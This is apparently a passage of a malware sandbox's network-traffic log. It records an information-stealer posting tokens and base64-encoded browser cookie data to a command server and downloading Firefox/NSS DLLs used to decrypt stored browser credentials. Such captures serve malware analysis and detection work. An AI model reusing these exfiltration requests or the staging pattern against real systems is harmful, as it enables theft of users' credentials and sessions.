name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6YVlMc2RwVzRVRVlOM3ZZcV9yYlJyTkZ4TTFqb3pQR3Voak9SQlpLS016MnRkRHBWZTdkTnVUV3A0Q3lLLXp0NUlzNndWRWx2ZVdBZktRZ3dOSmlLS3RYSENDQ21ybGd6WlRsNUNpS2pUZUEyaVFxZjZ6bFJLMmg4d2cxaFZwSXNXc2FLcWFXSnlITVBGM0pBCg==------EHIDAKECFIEBGDHJEBKK--
Dec 2, 2023 18:02:53.289179087 CET	650	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:02:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DAednlHAB9DSsSgsVG2IEq5YiN0AILN2Nn%2BjtNtee%2BUxfs8zpe6dHtnJbBUsWilTT6p6fsZ%2Ba%2B2lED%2BKe1wIxhIpr42jx1fsVpY6QrocHnz5gqG26aQ8NXl2rRxgAnGBy7DAQz9vfJk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 82f523ddba0a592f-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Dec 2, 2023 18:02:53.352963924 CET	617	OUT	POST /d414f888bed8c202.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHID Host: dskflherlkhopihsf.com Content-Length: 355 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 38 62 38 61 65 37 62 62 64 38 33 63 35 32 35 39 30 33 30 31 33 35 31 61 31 30 30 62 38 35 38 66 32 63 30 66 65 66 63 33 36 33 34 38 65 65 37 37 38 31 61 37 62 64 65 36 39 36 37 65 33 66 35 32 35 65 31 38 35 66 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 64 47 56 7a 64 47 56 6b 4c 6d 5a 70 62 47 55 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 2d 2d 0d 0a Data Ascii: ------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="token"c78b8ae7bbd83c52590301351a100b858f2c0fefc36348ee7781a7bde6967e3f525e185f------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="file_name"dGVzdGVkLmZpbGU=------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="file"------IJKKKFCFHCFIECBGDHID--
Dec 2, 2023 18:02:53.577646971 CET	652	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:02:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MsUACiW2bmt6Y3e%2B1BOouL03yn0W6iQ5kR7ivcTD9mTj6TjW33k8xDZS1ENopb4Yd4f6xVdrHvwYpTnPRKV%2FSpLnCXHX5swUHv%2BHU%2Fm5Gwwgc5amYHnVqHi%2Bx6PF5KUa6x%2FQw9340ZQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 82f523df9b77592f-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Dec 2, 2023 18:02:54.861704111 CET	617	OUT	POST /d414f888bed8c202.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCAFIIDHIDGHIECGDGI Host: dskflherlkhopihsf.com Content-Length: 355 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 43 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 38 62 38 61 65 37 62 62 64 38 33 63 35 32 35 39 30 33 30 31 33 35 31 61 31 30 30 62 38 35 38 66 32 63 30 66 65 66 63 33 36 33 34 38 65 65 37 37 38 31 61 37 62 64 65 36 39 36 37 65 33 66 35 32 35 65 31 38 35 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 43 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 64 47 56 7a 64 47 56 6b 4c 6d 5a 70 62 47 55 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 43 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 43 47 44 47 49 2d 2d 0d 0a Data Ascii: ------KFCAFIIDHIDGHIECGDGIContent-Disposition: form-data; name="token"c78b8ae7bbd83c52590301351a100b858f2c0fefc36348ee7781a7bde6967e3f525e185f------KFCAFIIDHIDGHIECGDGIContent-Disposition: form-data; name="file_name"dGVzdGVkLmZpbGU=------KFCAFIIDHIDGHIECGDGIContent-Disposition: form-data; name="file"------KFCAFIIDHIDGHIECGDGI--
Dec 2, 2023 18:02:55.087512970 CET	644	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:02:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=qf4PpNI5Gyo%2FWAzfnVvR1zhKBBFfKvkdKbSjJJyxeVo4ddy537Wd2SABPt1OuVauzN7dFEqE%2BK1fHxgTEBsjca9JVXdTIzJK9gpuCkoa1MrDaWdybOMX0ljTltYgZlKlNnrd1e6PgUU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 82f523e8fae5592f-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Dec 2, 2023 18:02:55.856851101 CET	154	OUT	GET /985f606317f3e8dd/freebl3.dll HTTP/1.1 Host: dskflherlkhopihsf.com Cache-Control: no-cache
Dec 2, 2023 18:02:56.070053101 CET	1340	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:02:55 GMT Content-Type: application/x-msdos-program Content-Length: 685392 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=eagAFGJavyxUR%2Fe4u0vbER%2F3YHwugvVGnMRRAZNCfoMcHnGqkMikvcqcTmg%2FxJP7aQd3e1BdmYQJcjD3xS3Npcepb88y61pzOVxLKTGoTTG2fImO3hhDXkOXOZVPaDb8GP2YnBVy31c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 82f523ef3860592f-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"
Dec 2, 2023 18:02:56.537127018 CET	154	OUT	GET /985f606317f3e8dd/mozglue.dll HTTP/1.1 Host: dskflherlkhopihsf.com Cache-Control: no-cache
Dec 2, 2023 18:02:56.749969959 CET	1340	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:02:56 GMT Content-Type: application/x-msdos-program Content-Length: 608080 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=X8t8mB5%2Br7yLA0miNoBxwjZErfS6OBBWvSfQCOjLpZ3l1VctsE%2BY0syQCKUTJkrvgFxMphpalhnnAp%2FyMJBO7xo%2Faw1K8XQdmK6sBOWnzkVGUUrbpfIy2%2FV2vn%2FGCQNEwWR%2FeVCvtm0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 82f523f37c40592f-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc
Dec 2, 2023 18:02:56.906950951 CET	155	OUT	GET /985f606317f3e8dd/msvcp140.dll HTTP/1.1 Host: dskflherlkhopihsf.com Cache-Control: no-cache
Dec 2, 2023 18:02:57.119915962 CET	1340	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:02:57 GMT Content-Type: application/x-msdos-program Content-Length: 450024 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WQjsQqNt8HK%2FHVtxJY8NlyV2%2F9g7je8wYe9%2BrVJokc9tN%2F1TP82amO7aXPiia%2BQK%2FnqtjQSP5w%2BmRiYcLwofawxc5xGqPO0jURLTXq7yE1bKOVGS%2F5YJU7amaMyA4ZnYY3H8BWGHQC0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 82f523f5ce64592f-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idata
Dec 2, 2023 18:02:57.239707947 CET	151	OUT	GET /985f606317f3e8dd/nss3.dll HTTP/1.1 Host: dskflherlkhopihsf.com Cache-Control: no-cache
Dec 2, 2023 18:02:57.454292059 CET	1340	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:02:57 GMT Content-Type: application/x-msdos-program Content-Length: 2046288 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YecBamilo377RIUK%2BH2Q6gbykOrMbSYIXKZrDjjXSWqrbEcsXJozEdQb6TGd7vRCB1vbZXhwawFJdQCQnRSbyzTLYh4D4%2BMyqErgRVdPJqtDXwfgeNgsCRkO1ep%2FeH%2BNggJCamJ%2BAhk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 82f523f7d80e592f-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`
Dec 2, 2023 18:03:01.018024921 CET	155	OUT	GET /985f606317f3e8dd/softokn3.dll HTTP/1.1 Host: dskflherlkhopihsf.com Cache-Control: no-cache
Dec 2, 2023 18:03:01.231108904 CET	741	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:03:01 GMT Content-Type: application/x-msdos-program Content-Length: 257872 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2BN8tL2%2BxhbJh8se2mhK6Zf7PsV%2FIxLv0LLz8jbxK6ILVurQqwtK5qKav2tLTdcSyuv6bfkDVpKDqVaaD1jPCLKq9YRRD1JLVcsVybJqsM%2FXx6VUOnQPW%2B3uAztKUCyk5jMlqBLtngTI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 82f5240f7a6f592f-IAD alt-svc: h3=":443"; ma=86400
Dec 2, 2023 18:03:01.590394020 CET	159	OUT	GET /985f606317f3e8dd/vcruntime140.dll HTTP/1.1 Host: dskflherlkhopihsf.com Cache-Control: no-cache
Dec 2, 2023 18:03:01.805632114 CET	1340	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:03:01 GMT Content-Type: application/x-msdos-program Content-Length: 80880 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5c%2F0rLCDCpBX0sQaCKvivrIZbnTEMcZnlw5BZzGOHkxM2mT3o6XK9aKLSwg7n4JdghJGeAp%2Fw%2F7Y8AqEYfy5nep2TU5i85mSr8Or6AUQ9huyx6K4EUALaViEfphVvlLZMH%2FJn3S9x4g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 82f524130daa592f-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.r
Dec 2, 2023 18:03:02.644918919 CET	263	OUT	POST /d414f888bed8c202.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBAFHDGDGHDGCBFCFID Host: dskflherlkhopihsf.com Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Dec 2, 2023 18:03:02.875983953 CET	644	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:03:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fhTzzBPfgXjTigP1LwI9HuhX1Stextt4EZrx06rGeSlRzhAKMJeN01OU7j5z%2FKF1YuuS9yf4QqA4km4IQTCEOMqbYzR0DFNB%2FH6iStlrZOk9Dq87oRU3QZpWpEp7geJzTkkwfVIOYO0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 82f52419aa92592f-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
